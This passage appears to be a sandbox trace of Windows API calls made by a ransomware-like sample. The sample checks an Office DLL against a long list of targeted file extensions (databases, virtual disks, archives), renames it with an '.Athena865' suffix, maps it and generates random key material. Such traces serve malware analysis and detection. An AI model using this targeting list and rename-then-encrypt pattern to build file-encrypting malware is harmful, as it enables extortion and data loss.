(lpString1="PROPMGR.DLL", lpString2="MSBuild") returned 1 [0083.959] lstrlenW (lpString="PROPMGR.DLL") returned 11 [0083.959] lstrcpyW (in: lpString1=0x241e89e, lpString2="PROPMGR.DLL" | out: lpString1="PROPMGR.DLL") returned="PROPMGR.DLL" [0083.959] lstrlenW (lpString="PROPMGR.DLL") returned 11 [0083.959] lstrlenW (lpString="Athena865") returned 9 [0083.959] lstrcmpiW (lpString1="OPMGR.DLL", lpString2="Athena865") returned 1 [0083.959] lstrlenW (lpString=".dll") returned 4 [0083.959] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2=".dll") returned 1 [0083.959] lstrlenW (lpString=".lnk") returned 4 [0083.959] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2=".lnk") returned 1 [0083.959] lstrlenW (lpString=".ini") returned 4 [0083.959] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2=".ini") returned 1 [0083.959] lstrlenW (lpString=".sys") returned 4 [0083.959] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2=".sys") returned 1 [0083.959] lstrlenW (lpString="PROPMGR.DLL") returned 11 [0083.959] lstrlenW (lpString="bak") returned 3 [0083.959] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0083.959] lstrlenW (lpString="ba_") returned 3 [0083.959] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0083.959] lstrlenW (lpString="dbb") returned 3 [0083.959] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0083.959] lstrlenW (lpString="vmdk") returned 4 [0083.959] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0083.959] lstrlenW (lpString="rar") returned 3 [0083.959] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0083.959] lstrlenW (lpString="zip") returned 3 [0083.960] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0083.960] lstrlenW (lpString="tgz") returned 3 [0083.960] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0083.960] lstrlenW (lpString="vbox") returned 4 [0083.960] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0083.960] lstrlenW (lpString="vdi") returned 3 [0083.960] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0083.960] lstrlenW (lpString="vhd") returned 3 [0083.960] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0083.960] lstrlenW (lpString="vhdx") returned 4 [0083.960] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0083.960] lstrlenW (lpString="avhd") returned 4 [0083.960] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0083.960] lstrlenW (lpString="db") returned 2 [0083.960] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0083.960] lstrlenW (lpString="db2") returned 3 [0083.960] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0083.960] lstrlenW (lpString="db3") returned 3 [0083.960] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0083.960] lstrlenW (lpString="dbf") returned 3 [0083.960] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0083.960] lstrlenW (lpString="mdf") returned 3 [0083.960] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0083.960] lstrlenW (lpString="mdb") returned 3 [0083.960] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0083.960] lstrlenW (lpString="sql") returned 3 [0083.960] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0083.960] lstrlenW (lpString="sqlite") returned 6 [0083.960] lstrcmpiW (lpString1="GR.DLL", lpString2="sqlite") returned -1 [0083.960] lstrlenW (lpString="sqlite3") returned 7 [0083.960] lstrcmpiW (lpString1="MGR.DLL", lpString2="sqlite3") returned -1 [0083.960] lstrlenW (lpString="sqlitedb") returned 8 [0083.961] lstrcmpiW (lpString1="PMGR.DLL", lpString2="sqlitedb") returned -1 [0083.961] lstrlenW (lpString="xml") returned 3 [0083.961] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0083.961] lstrlenW (lpString="$er") returned 3 [0083.961] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0083.961] lstrlenW (lpString="4dd") returned 3 [0083.961] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0083.961] lstrlenW (lpString="4dl") returned 3 [0083.961] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0083.961] lstrlenW (lpString="^^^") returned 3 [0083.961] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0083.961] lstrlenW (lpString="abs") returned 3 [0083.961] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0083.961] lstrlenW (lpString="abx") returned 3 [0083.961] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0083.961] lstrlenW (lpString="accdb") returned 5 [0083.961] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0083.961] lstrlenW (lpString="accdc") returned 5 [0083.961] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0083.961] lstrlenW (lpString="accde") returned 5 [0083.961] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0083.961] lstrlenW (lpString="accdr") returned 5 [0083.961] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0083.961] lstrlenW (lpString="accdt") returned 5 [0083.961] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0083.961] lstrlenW (lpString="accdw") returned 5 [0083.961] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0083.961] lstrlenW (lpString="accft") returned 5 [0083.961] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0083.961] lstrlenW (lpString="adb") returned 3 [0083.961] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.961] lstrlenW (lpString="adb") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.962] lstrlenW (lpString="ade") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0083.962] lstrlenW (lpString="adf") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0083.962] lstrlenW (lpString="adn") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0083.962] lstrlenW (lpString="adp") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0083.962] lstrlenW (lpString="alf") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0083.962] lstrlenW (lpString="ask") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0083.962] lstrlenW (lpString="btr") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0083.962] lstrlenW (lpString="cat") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0083.962] lstrlenW (lpString="cdb") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0083.962] lstrlenW (lpString="ckp") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0083.962] lstrlenW (lpString="cma") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0083.962] lstrlenW (lpString="cpd") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0083.962] lstrlenW (lpString="dacpac") returned 6 [0083.962] lstrcmpiW (lpString1="GR.DLL", lpString2="dacpac") returned 1 [0083.962] lstrlenW (lpString="dad") returned 3 [0083.962] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0083.962] lstrlenW (lpString="dadiagrams") returned 10 [0083.962] lstrcmpiW (lpString1="ROPMGR.DLL", lpString2="dadiagrams") returned 1 [0083.962] lstrlenW (lpString="daschema") returned 8 [0083.963] lstrcmpiW (lpString1="PMGR.DLL", lpString2="daschema") returned 1 [0083.963] lstrlenW (lpString="db-journal") returned 10 [0083.963] lstrcmpiW (lpString1="ROPMGR.DLL", lpString2="db-journal") returned 1 [0083.963] lstrlenW (lpString="db-shm") returned 6 [0083.963] lstrcmpiW (lpString1="GR.DLL", lpString2="db-shm") returned 1 [0083.963] lstrlenW (lpString="db-wal") returned 6 [0083.963] lstrcmpiW (lpString1="GR.DLL", lpString2="db-wal") returned 1 [0083.963] lstrlenW (lpString="dbc") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0083.963] lstrlenW (lpString="dbs") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0083.963] lstrlenW (lpString="dbt") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0083.963] lstrlenW (lpString="dbv") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0083.963] lstrlenW (lpString="dbx") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0083.963] lstrlenW (lpString="dcb") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0083.963] lstrlenW (lpString="dct") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0083.963] lstrlenW (lpString="dcx") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0083.963] lstrlenW (lpString="ddl") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0083.963] lstrlenW (lpString="dlis") returned 4 [0083.963] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0083.963] lstrlenW (lpString="dp1") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0083.963] lstrlenW (lpString="dqy") returned 3 [0083.963] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0083.963] lstrlenW (lpString="dsk") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0083.964] lstrlenW (lpString="dsn") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0083.964] lstrlenW (lpString="dtsx") returned 4 [0083.964] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0083.964] lstrlenW (lpString="dxl") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0083.964] lstrlenW (lpString="eco") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0083.964] lstrlenW (lpString="ecx") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0083.964] lstrlenW (lpString="edb") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0083.964] lstrlenW (lpString="epim") returned 4 [0083.964] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0083.964] lstrlenW (lpString="fcd") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0083.964] lstrlenW (lpString="fdb") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0083.964] lstrlenW (lpString="fic") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0083.964] lstrlenW (lpString="flexolibrary") returned 12 [0083.964] lstrlenW (lpString="fm5") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0083.964] lstrlenW (lpString="fmp") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0083.964] lstrlenW (lpString="fmp12") returned 5 [0083.964] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0083.964] lstrlenW (lpString="fmpsl") returned 5 [0083.964] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0083.964] lstrlenW (lpString="fol") returned 3 [0083.964] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0083.965] lstrlenW (lpString="fp3") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0083.965] lstrlenW (lpString="fp4") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0083.965] lstrlenW (lpString="fp5") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0083.965] lstrlenW (lpString="fp7") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0083.965] lstrlenW (lpString="fpt") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0083.965] lstrlenW (lpString="frm") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0083.965] lstrlenW (lpString="gdb") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.965] lstrlenW (lpString="gdb") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.965] lstrlenW (lpString="grdb") returned 4 [0083.965] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0083.965] lstrlenW (lpString="gwi") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0083.965] lstrlenW (lpString="hdb") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0083.965] lstrlenW (lpString="his") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0083.965] lstrlenW (lpString="ib") returned 2 [0083.965] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0083.965] lstrlenW (lpString="idb") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0083.965] lstrlenW (lpString="ihx") returned 3 [0083.965] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0083.965] lstrlenW (lpString="itdb") returned 4 [0083.965] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0083.965] lstrlenW (lpString="itw") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0083.966] lstrlenW (lpString="jet") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0083.966] lstrlenW (lpString="jtx") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0083.966] lstrlenW (lpString="kdb") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0083.966] lstrlenW (lpString="kexi") returned 4 [0083.966] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0083.966] lstrlenW (lpString="kexic") returned 5 [0083.966] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0083.966] lstrlenW (lpString="kexis") returned 5 [0083.966] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0083.966] lstrlenW (lpString="lgc") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0083.966] lstrlenW (lpString="lwx") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0083.966] lstrlenW (lpString="maf") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0083.966] lstrlenW (lpString="maq") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0083.966] lstrlenW (lpString="mar") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0083.966] lstrlenW (lpString="marshal") returned 7 [0083.966] lstrcmpiW (lpString1="MGR.DLL", lpString2="marshal") returned 1 [0083.966] lstrlenW (lpString="mas") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0083.966] lstrlenW (lpString="mav") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0083.966] lstrlenW (lpString="maw") returned 3 [0083.966] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0083.966] lstrlenW (lpString="mdbhtml") returned 7 [0083.967] lstrcmpiW (lpString1="MGR.DLL", lpString2="mdbhtml") returned 1 [0083.967] lstrlenW (lpString="mdn") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0083.967] lstrlenW (lpString="mdt") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0083.967] lstrlenW (lpString="mfd") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0083.967] lstrlenW (lpString="mpd") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0083.967] lstrlenW (lpString="mrg") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0083.967] lstrlenW (lpString="mud") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0083.967] lstrlenW (lpString="mwb") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0083.967] lstrlenW (lpString="myd") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0083.967] lstrlenW (lpString="ndf") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0083.967] lstrlenW (lpString="nnt") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0083.967] lstrlenW (lpString="nrmlib") returned 6 [0083.967] lstrcmpiW (lpString1="GR.DLL", lpString2="nrmlib") returned -1 [0083.967] lstrlenW (lpString="ns2") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0083.967] lstrlenW (lpString="ns3") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0083.967] lstrlenW (lpString="ns4") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0083.967] lstrlenW (lpString="nsf") returned 3 [0083.967] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0083.967] lstrlenW (lpString="nv") returned 2 [0083.968] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0083.968] lstrlenW (lpString="nv2") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0083.968] lstrlenW (lpString="nwdb") returned 4 [0083.968] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0083.968] lstrlenW (lpString="nyf") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0083.968] lstrlenW (lpString="odb") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.968] lstrlenW (lpString="odb") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.968] lstrlenW (lpString="oqy") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0083.968] lstrlenW (lpString="ora") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0083.968] lstrlenW (lpString="orx") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0083.968] lstrlenW (lpString="owc") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0083.968] lstrlenW (lpString="p96") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0083.968] lstrlenW (lpString="p97") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0083.968] lstrlenW (lpString="pan") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0083.968] lstrlenW (lpString="pdb") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0083.968] lstrlenW (lpString="pdm") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0083.968] lstrlenW (lpString="pnz") returned 3 [0083.968] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0083.968] lstrlenW (lpString="qry") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0083.969] lstrlenW (lpString="qvd") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0083.969] lstrlenW (lpString="rbf") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0083.969] lstrlenW (lpString="rctd") returned 4 [0083.969] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0083.969] lstrlenW (lpString="rod") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0083.969] lstrlenW (lpString="rodx") returned 4 [0083.969] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0083.969] lstrlenW (lpString="rpd") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0083.969] lstrlenW (lpString="rsd") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0083.969] lstrlenW (lpString="sas7bdat") returned 8 [0083.969] lstrcmpiW (lpString1="PMGR.DLL", lpString2="sas7bdat") returned -1 [0083.969] lstrlenW (lpString="sbf") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0083.969] lstrlenW (lpString="scx") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0083.969] lstrlenW (lpString="sdb") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0083.969] lstrlenW (lpString="sdc") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0083.969] lstrlenW (lpString="sdf") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0083.969] lstrlenW (lpString="sis") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0083.969] lstrlenW (lpString="spq") returned 3 [0083.969] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0083.969] lstrlenW (lpString="te") returned 2 [0083.969] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0083.970] lstrlenW (lpString="teacher") returned 7 [0083.970] lstrcmpiW (lpString1="MGR.DLL", lpString2="teacher") returned -1 [0083.970] lstrlenW (lpString="tmd") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0083.970] lstrlenW (lpString="tps") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0083.970] lstrlenW (lpString="trc") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.970] lstrlenW (lpString="trc") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.970] lstrlenW (lpString="trm") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0083.970] lstrlenW (lpString="udb") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0083.970] lstrlenW (lpString="udl") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0083.970] lstrlenW (lpString="usr") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0083.970] lstrlenW (lpString="v12") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0083.970] lstrlenW (lpString="vis") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0083.970] lstrlenW (lpString="vpd") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0083.970] lstrlenW (lpString="vvv") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0083.970] lstrlenW (lpString="wdb") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0083.970] lstrlenW (lpString="wmdb") returned 4 [0083.970] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0083.970] lstrlenW (lpString="wrk") returned 3 [0083.970] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0083.971] lstrlenW (lpString="xdb") returned 3 [0083.971] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0083.971] lstrlenW (lpString="xld") returned 3 [0083.971] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0083.971] lstrlenW (lpString="xmlff") returned 5 [0083.971] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0083.971] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PROPMGR.DLL.Athena865") returned 64 [0083.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\propmgr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPMGR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\propmgr.dll.athena865"), dwFlags=0x1) returned 1 [0083.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPMGR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\propmgr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0083.972] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=75664) returned 1 [0083.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.972] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.973] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.973] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.973] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12a90, lpName=0x0) returned 0x17c [0083.976] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12a90) returned 0x100000 [0084.029] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.030] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.030] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.030] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.031] CloseHandle (hObject=0x17c) returned 1 [0084.031] CloseHandle (hObject=0x154) returned 1 [0084.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.032] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65b7600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x130b88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROPRPT.DLL", cAlternateFileName="")) returned 1 